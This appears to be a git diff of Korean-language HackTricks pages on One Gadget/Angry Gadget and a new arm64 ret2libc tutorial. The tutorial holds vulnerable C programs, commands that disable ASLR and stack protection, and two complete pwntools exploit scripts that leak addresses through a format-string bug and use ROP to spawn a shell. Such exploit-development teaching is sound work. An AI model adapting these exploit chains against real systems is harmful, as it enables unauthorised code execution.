* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget)은 **system** 및 **"/bin/sh"**를 사용하는 대신 셸을 획득할 수 있게 해줍니다. **One Gadget**은 libc 라이브러리 내부에서 셸을 획득할 수 있는 방법(`execve("/bin/sh")`)을 단 하나의 **주소**로 찾아냅니다.\
|
||||
그러나 일반적으로 몇 가지 제약 조건이 있습니다. 가장 일반적이고 쉽게 피할 수 있는 것은 `[rsp+0x30] == NULL`과 같은 것입니다. **RSP** 내부의 값을 제어할 수 있기 때문에 제약 조건을 피하기 위해 추가적인 NULL 값을 보내면 됩니다.
|
||||
[**One Gadget**](https://github.com/david942j/one\_gadget)은 **system** 및 **"/bin/sh"**를 사용하는 대신 셸을 획득할 수 있게 해줍니다. **One Gadget**은 libc 라이브러리 내에서 셸을 획득할 수 있는 방법(`execve("/bin/sh")`)을 단 하나의 **주소**만 사용하여 찾아냅니다.\
|
||||
그러나 일반적으로 몇 가지 제약 조건이 있습니다. 가장 일반적이고 쉽게 피할 수 있는 것은 `[rsp+0x30] == NULL`과 같은 것입니다. **RSP** 내의 값을 제어할 수 있기 때문에 추가적인 NULL 값을 보내 제약 조건을 피할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (751).png>)
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
One Gadget이 지시하는 주소에는 `libc`가 로드된 기본 주소를 **더해야**합니다.
|
||||
One Gadget이 지시하는 주소에는 **`libc`가 로드된 베이스 주소를 추가해야**합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
One Gadget은 임의 쓰기 2 실행 기술에 **큰 도움**이 되며 ROP **체인을 간소화**할 수 있습니다. 요구 사항을 충족시키기 위해 하나의 주소만 호출하면 됩니다.
|
||||
One Gadget은 **임의 쓰기 2 실행 기법에 큰 도움**을 주며 ROP **체인을 간소화**할 수 있습니다. 하나의 주소만 호출하면 되므로 요구 사항을 충족해야 합니다.
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
Github 레포지토리는 **ARM64를 지원**한다고 언급했지만 Kali 2023.3의 libc에서 실행할 때 **어떤 가젯도 찾지 못합니다**.
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
[**github repo**](https://github.com/ChrisTheCoolHut/angry\_gadget)에서: [OneGadget](https://github.com/david942j/one\_gadget)에서 영감을 받은 이 도구는 파이썬으로 작성되었으며 `execve('/bin/sh', NULL, NULL)`를 실행하는 가젯에 대한 제약 조건을 테스트하기 위해 [angr](https://github.com/angr/angr)를 사용합니다.\
|
||||
OneGadget에서 시도할 가젯이 부족하다면, Angry Gadget은 더 복잡한 제약 조건을 가진 가젯을 많이 제공합니다!
|
||||
[**Github 레포지토리**](https://github.com/ChrisTheCoolHut/angry\_gadget)에서: [OneGadget](https://github.com/david942j/one\_gadget)에서 영감을 받은 이 도구는 파이썬으로 작성되었으며 [angr](https://github.com/angr/angr)를 사용하여 `execve('/bin/sh', NULL, NULL)`를 실행하는 가젯에 대한 제약 조건을 테스트합니다. One Gadget에서 시도할 가젯이 부족하다면, Angry Gadget은 더 복잡한 제약 조건을 가진 가젯을 많이 제공합니다!
|
||||
```bash
|
||||
pip install angry_gadget
|
||||
|
||||
|
@ -41,14 +44,14 @@ angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 귀하의 해킹 기술을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,225 @@
|
|||
# Ret2lib + Printf leak - arm64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## Ret2lib - NX bypass with ROP (no ASLR)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
```
|
||||
캐너리 없이 컴파일하기:
|
||||
```bash
|
||||
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
|
||||
# Disable aslr
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### 오프셋 찾기
|
||||
|
||||
### x30 오프셋
|
||||
|
||||
**`pattern create 200`**을 사용하여 패턴을 생성하고, **`pattern search $x30`**으로 오프셋을 확인하면 오프셋이 **`108`** (0x6c)임을 확인할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
메인 함수를 확인하면 이진 파일이 로드된 위치로부터 **`printf`**로 직접 이동하는 명령어로 **`jump`**하고 싶어합니다. **`printf`**까지의 오프셋은 **`0x860`**입니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1216).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### system 및 `/bin/sh` 문자열 찾기
|
||||
|
||||
ASLR이 비활성화되어 있으므로 주소는 항상 동일합니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 가젯 찾기
|
||||
|
||||
**`x0`**에는 **`/bin/sh`** 문자열의 주소를 가져와야하며 **`system`**을 호출해야합니다.
|
||||
|
||||
rooper를 사용하여 흥미로운 가젯을 찾았습니다:
|
||||
```
|
||||
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
```
|
||||
### 악용
|
||||
|
||||
이 가젯은 `$sp + 0x18`에서 `x0`을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프**할 수 있습니다.
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
||||
p = process('./rop') # For local binary
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000
|
||||
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
system = libc.sym["system"]
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Ret2main
|
||||
stack_offset = 108
|
||||
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
|
||||
x29 = b"AAAAAAAA"
|
||||
x30 = p64(system)
|
||||
fill = b"A" * (0x18 - 0x10)
|
||||
x0 = p64(binsh)
|
||||
|
||||
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
p.close()
|
||||
```
|
||||
## Ret2lib - NX, ASL 및 PIE 우회 방법: 스택에서 printf 누출
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void printfleak()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nPrintf>\n");
|
||||
fgets(buf, sizeof(buf), stdin);
|
||||
printf(buf);
|
||||
}
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
|
||||
```
|
||||
**캐너리 없이 컴파일하기**:
|
||||
```bash
|
||||
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
### PIE 및 ASLR이지만 캐너리는 없음
|
||||
|
||||
* 라운드 1:
|
||||
* 스택에서 PIE 누출
|
||||
* main으로 돌아가기 위해 bof 악용
|
||||
* 라운드 2:
|
||||
* 스택에서 libc 누출
|
||||
* ROP: ret2system
|
||||
|
||||
### Printf 누출
|
||||
|
||||
printf를 호출하기 전에 중단점을 설정하면 스택에 이진 파일로 돌아갈 주소와 libc 주소가 있는 것을 볼 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
다양한 오프셋을 시도하면 **`%21$p`**가 이진 주소를 누출할 수 있습니다 (PIE 우회) 그리고 **`%25$p`**가 libc 주소를 누출할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1220).png" alt="" width="440"><figcaption></figcaption></figure>
|
||||
|
||||
libc 누출된 주소에서 libc의 베이스 주소를 빼면 **누출된 주소의 오프셋은 `0x49c40`**임을 확인할 수 있습니다.
|
||||
|
||||
### x30 오프셋
|
||||
|
||||
이전 예제와 동일한 bof를 사용하므로 참조하십시오.
|
||||
|
||||
### 가젯 찾기
|
||||
|
||||
이전 예제와 마찬가지로 **`x0`**에 **`/bin/sh`** 문자열 주소를 넣고 **`system`**을 호출해야 합니다.
|
||||
|
||||
rooper를 사용하여 또 다른 흥미로운 가젯을 찾았습니다:
|
||||
```
|
||||
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
```
|
||||
이 가젯은 `$sp + 0x78`에서 `x0`을 로드한 다음 sp에서 x29 및 x30 주소를 로드하여 x30으로 점프합니다. 따라서 이 가젯을 사용하여 **첫 번째 인수를 제어한 다음 system으로 점프**할 수 있습니다.
|
||||
|
||||
### 공격
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
||||
p = process('./rop') # For local binary
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
|
||||
def leak_printf(payload, is_main_addr=False):
|
||||
p.sendlineafter(b">\n" ,payload)
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
if is_main_addr:
|
||||
response = response[:-4] + b"0000"
|
||||
return int(response, 16)
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Get main address
|
||||
main_address = leak_printf(b"%21$p", True)
|
||||
print(f"Bin address: {hex(main_address)}")
|
||||
|
||||
# Ret2main
|
||||
stack_offset = 108
|
||||
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
|
||||
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
|
||||
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
|
||||
expl_bof(ret2main)
|
||||
|
||||
# libc
|
||||
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
|
||||
libc.address = libc_base_address
|
||||
print(f"Libc address: {hex(libc_base_address)}")
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
system = libc.sym["system"]
|
||||
|
||||
# ret2system
|
||||
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
|
||||
x29 = b"AAAAAAAA"
|
||||
x30 = p64(system)
|
||||
fill = b"A" * (0x78 - 0x10)
|
||||
x0 = p64(binsh)
|
||||
|
||||
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 귀하의 해킹 기술을 공유하세요.
|
||||
|
||||
</details>
|